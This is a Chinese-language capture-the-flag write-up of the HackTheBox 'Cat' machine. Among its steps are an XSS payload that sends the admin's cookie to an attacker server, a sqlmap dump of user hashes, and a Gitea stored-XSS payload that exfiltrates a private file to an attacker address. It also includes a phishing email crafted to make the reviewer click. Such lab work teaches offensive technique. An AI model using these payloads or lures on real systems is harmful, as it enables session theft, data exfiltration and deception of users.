靶机地址: https://app.hackthebox.com/machines/Cat

一、信息收集与初步探测

1.1 Nmap 端口扫描

使用 Nmap 对目标 10.10.11.53 进行探测。

image-20250420151339399

扫描结果显示,目标开放了 22 (SSH) 和 80 (HTTP) 端口,关注点在 Web 服务。

1.2 Web 服务探测

为了后续访问,要修改 /etc/hosts ,将 IP 地址映射到域名:

1
10.10.11.53  cat.htb

然后,在浏览器中访问 http://cat.htb/

image-20250510155155503

接下来,用 dirsearch 扫目录,看看是否有隐藏的路径或敏感文件泄露。

image-20250420153049868

扫描结果中,.git 目录的泄露非常显眼。这意味着可以尝试下载网站的源代码。

二、漏洞利用与初始权限获取

2.1 .git 泄露与源码审计

使用 GitHack (或 git-dumper) 工具下载泄露的 .git 目录内容:

1
python3 GitHack.py http://cat.htb/.git/

image-20250420170257732

下载完成后,可以查看网站的目录结构和源代码:

image-20250420170537892

在审计 PHP 源代码时,通常关注以下几点:

  1. 输入处理 (Input Handling): 应用程序如何接收来自用户的数据(例如 $_GET, $_POST, $_FILES)?
  2. 数据库交互 (Database Interaction): 数据是如何查询、插入、更新或删除的?是否一致地使用了预处理语句(Prepared Statements)?
  3. 认证与授权 (Authentication & Authorization): 用户如何登录?如何控制对敏感区域(如管理页面)的访问?这些检查是否容易被绕过?
  4. 文件处理 (File Handling): 文件是如何上传、存储、访问或删除的?是否有对文件类型、大小和路径的检查?
  5. 会话管理 (Session Management): 会话是如何启动、管理和销毁的?
  6. 输出编码 (Output Encoding): 用户提供的数据在显示回 HTML 页面之前是否经过了适当的编码,以防止跨站脚本攻击(XSS)?
  7. 依赖与配置 (Dependencies & Configuration): 是否有硬编码的秘密信息?是否暴露了敏感信息?

审计 accept_cat.php 文件时,发现一处明显的 SQL 注入漏洞。代码行 $sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')"; 直接将来自 $_POST['catName']$cat_name 变量拼接到 SQL 查询字符串中。

同时,通过查看 admin.php,可以知道:

  • 存在一个名为 axel 的管理员用户。
  • 该页面只有用户名为 axel 的管理员才能访问。其他任何用户都会被重定向。

image-20250426214250324

既然 axel 管理员会访问某些页面,可以尝试利用 XSS 窃取其 Cookie。网站有用户注册功能,用户名似乎没有做严格的过滤,这可能是 XSS 的注入点。

准备 XSS Payload:

当管理员浏览到包含这个 Payload 的内容时,其 Cookie 会被发送到监听的 HTTP 服务器。

1
<script>document.location='http://10.10.16.4:8888/?c='+document.cookie;</script>

在攻击机上启动 HTTP 服务器监听:

1
python3 -m http.server 8888

注册包含 XSS Payload 的用户:

在网站的注册页面,将 XSS Payload 作为用户名进行注册:

Username: Password: Email:
<script>document.location='http://10.10.16.4:8888/?c='+document.cookie;</script> testpass test@a.com

image-20250505150312573

提示 “Registration successful!” 后,登录该用户。

image-20250505150247811

接下来,需要找到一个管理员会查看的页面来触发 XSS。contest.php 页面允许用户提交猫咪信息参加比赛,管理员很可能会审核这些提交。

image-20250505150139676

提交一个猫咪信息。由于的用户名本身就是 XSS Payload,当管理员 (axel) 浏览到这个用户提交的信息时,XSS 就会触发。

image-20250505170604085

很快,在的 HTTP 监听服务器上,收到了 Cookie:

image-20250505185739716

1
10.10.11.53 - - [05/May/2025 17:05:07] "GET /?c=PHPSESSID=bmq6r9up89ia29b3jflv331e7o HTTP/1.1" 200 -

成功获取了 axel 管理员的 PHPSESSID

现在拥有了 axel 的 Cookie,可以利用这个身份去访问之前发现的存在 SQL 注入漏洞的 accept_cat.php 脚本。

使用 sqlmap 进行注入,目标是 dump 出 users 表的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
python3 ./sqlmap.py -u "http://cat.htb/accept_cat.php" \
--data="catId=1&catName=Misti" \
--cookie="PHPSESSID=bmq6r9up89ia29b3jflv331e7o" \
-p catName \
--dbms=SQLite \
--level=5 \
--risk=3 \
-D SQLite_masterdb -T users --dump \
--batch \
--threads=10 \
--tamper=space2comment \
--random-agent \
--time-sec=10

image-20250506205902187

sqlmap 成功 dump 出了 users 表的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
+---------+-------------------------------+----------------------------------+----------+
| user_id | email | password | username |
+---------+-------------------------------+----------------------------------+----------+
| 1 | axel2017@gmail.com | d1bbba3670feb9435c9841e46e60ee2f | axel |
| 2 | rosamendoza485@gmail.com | ac369922d560f17d6eeb8b2c7dec498c | rosa |
| 3 | robertcervantes2000@gmail.com | 42846631708f69c00ec0c0a8aa4a92ad | robert |
| 4 | fabiancarachure2323@gmail.com | 39e153e825c4a3d314a0dc7f7475ddbe | fabian |
| 5 | jerrysonC343@gmail.com | 781593e060f8d065cd7281c5ec5b4b86 | jerryson |
| 6 | larryP5656@gmail.com | 1b6dce240bbfbc0905a664ad199e18f8 | larry |
| 7 | royer.royer2323@gmail.com | c598f6b844a36fa7836fba0835f1f6 | royer |
| 8 | peterCC456@gmail.com | e41ccefa439fc454f7eadbf1f139ed8a | peter |
| <blank> | angel234g@hukkp1hpp | <blank> | <blank> |
| <blank> | <blank> | <blank> | <blank> |
| <blank> | <blank> | <blank> | <blank> |
+---------+-------------------------------+----------------------------------+----------+

2.4 密码破解与 SSH 登录 (rosa)

将这些密码哈希提交到在线破解网站,如 CrackStation
rosa 用户的哈希 ac369922d560f17d6eeb8b2c7dec498c 成功被破解。

image-20250506214118921

image-20250506213928007

密码是 soyunaprincesarosa

尝试使用这个凭证通过 SSH 登录 rosa 用户:

1
2
ssh rosa@10.10.11.53
# Password: soyunaprincesarosa

三、权限提升至 axel

3.1 内部信息搜集

登录 rosa 用户后,需要寻找提升到 axel 用户权限的方法。日志文件通常是信息泄露的常见位置。检查 /var/log (或者其他可能的日志路径) 是否有 axel 用户的活动记录或敏感信息。

image-20250506222900287

发现了 axel 用户的明文密码:aNdZwgC4tI9gnVXv_e3Q

image-20250506223044217

3.2 SSH 登录 axel

使用找到的凭证 SSH 登录 axel 用户:

1
2
ssh axel@10.10.11.53
# Password: aNdZwgC4tI9gnVXv_e3Q

image-20250506223312577

成功登录 axel!可以在其家目录下找到 user.txt

image-20250506223421594

至此,已经拿到了 user 权限。

四、提权至 Root:利用内部 Gitea 服务

4.1 阅读邮件,发现新目标

axel 用户 /var/mail/ 中,发现了邮件信息。

1
cat /var/mail/axel

image-20250510100935700

image-20250510101421453

image-20250510101105002

其中一封来自 rosa@cat.htb 的邮件提到了一个新的 “Employee management” 系统,其 Gitea 仓库地址为 http://localhost:3000/administrator/Employee-management/,并且 README.md 文件的直接链接为 http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md
另一封邮件则要求 axel 将其 Gitea 仓库信息发送给 jobert@localhost 进行审核。

这些信息表明:

  1. 系统内部运行着一个 Gitea 服务 (localhost:3000)。
  2. administrator 是 Gitea 上的一个高权限用户(可能与 jobert 相关)。
  3. jobert 会审查 Gitea 仓库。

4.2 端口转发访问内部 Gitea

Gitea 是一个 Web 应用,需要图形化的浏览器来交互,所以需要做端口转发

image-20250510105003158

(确保攻击机的防火墙允许 12345 端口入站)

image-20250510105802675
image-20250510105738451

image-20250510110102470

现在,可以在攻击机的浏览器上访问靶机内部的 Gitea 服务了。

image-20250510110158603

使用 axel 用户的 Gitea 凭证(与其 SSH 密码相同:aNdZwgC4tI9gnVXv_e3Q)登录。

image-20250510110452621

登录后,可以看到 Gitea 的版本信息:1.22.0

4.3 Gitea Stored XSS 漏洞利用

搜索 Gitea 1.22.0 版本的漏洞,发现存在一个 Stored XSS 漏洞

image-20250510110701864

可以利用 axel 用户的权限,在他自己的一个仓库(例如新建一个名为 xss-exploit 的仓库)的描述 (Description) 中植入 XSS Payload。

测试 XSS Payload (弹窗):

先用一个简单的弹窗 Payload 测试漏洞是否存在:

image-20250510124054985
不小心断开连接了,不过端口转发还在。

image-20250510124708170
(创建 xss-exploit 仓库)

image-20250510124820549
(在描述中放入 XSS payload)

当访问该仓库页面时,成功弹窗!

image-20250510125431310

4.4 窃取 administrator 的 index.php 文件

的目标是读取 administrator 用户 Employee-management 仓库中的 index.php 文件内容,因为邮件中提到这是个正在开发的重要系统,可能包含敏感信息。

思路:
通过 axel 用户的权限,在 Gitea 中植入一个 XSS Payload。然后诱导 jobert 用户(猜测他就是 Gitea 的 administrator,或者有权限访问该仓库)点击包含该 Payload 的链接。当 jobert 点击时,XSS 会在他的会话上下文中执行,读取 index.php 的内容,并将其发送到的监听服务器。

注意: axel 用户直接尝试访问 http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php 可能会因为权限不足而失败。但如果是在 administrator (Jobert) 的会话中执行,就能成功。

XSS Payload (数据窃取):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<a href="javascript:
fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php')
.then(response => {
if (!response.ok) {
throw new Error('File fetch failed: ' + response.status + ' ' + response.statusText + ' for ' + response.url);
}
return response.text();
})
.then(data => {
fetch('http://YOUR_ATTACKER_IP:YOUR_NC_PORT/?content=' + encodeURIComponent(data));
})
.catch(error => {
fetch('http://YOUR_ATTACKER_IP:YOUR_NC_PORT/?error=' + encodeURIComponent(error.toString()));
});
">Click for Critical Employee System Info (Index)</a>

axel 用户的 xss-exploit 仓库的描述中更新此 Payload。

image-20250510153041189

在攻击机上启动 Netcat 监听:

1
nc -lvnp 4444

4.5 发送邮件诱导 Jobert

现在,需要诱导 jobert 访问植入了 XSS Payload 的页面并点击链接。根据之前邮件的线索,jobert 会审查仓库。以 axel 的身份给 jobert 发送一封邮件:

1
echo -e 'Subject: URGENT - Action Required: Employee System Credentials Link\n\nHello Jobert,\n\nFurther to our development of the Employee Management system, critical access information is now available via a link within my xss-exploit project.\n\nPlease visit the repository immediately: http://localhost:3000/axel/xss-exploit\n\n**VERY IMPORTANT: You MUST click the link in the project description (it says '"'"'Click for Critical Employee System Info (Index)'"'"') to retrieve the necessary details.**\n\nThis is time-sensitive.\n\nThanks,\nAxel' | sendmail jobert@localhost

4.6 获取 index.php 内容

等待片刻,如果 jobert 点击了链接,的 Netcat 监听器应该会收到 index.php 的内容:

image-20250510152524695

对接收到的 URL 编码内容进行解码,得到 index.php 的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0'; // <--- 敏感凭证!

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {

header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}

header('Location: dashboard.php');
exit;
?>

成功获取了 “Employee Management” 系统的 Basic Auth 凭证:admin:IKw75eR0MR7CMIxhH0

4.7 (后续步骤 - 获取 root.txt)

根据靶机设计,最终获取到 root.txt

image-20250510152838994

五、总结

Cat 靶机串联了 Web 源码审计、SQL 注入、XSS Cookie 窃取、本地日志信息泄露、内部服务探测、端口转发以及 Stored XSS 利用,希望这篇 Writeup 对大家有所帮助!


© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k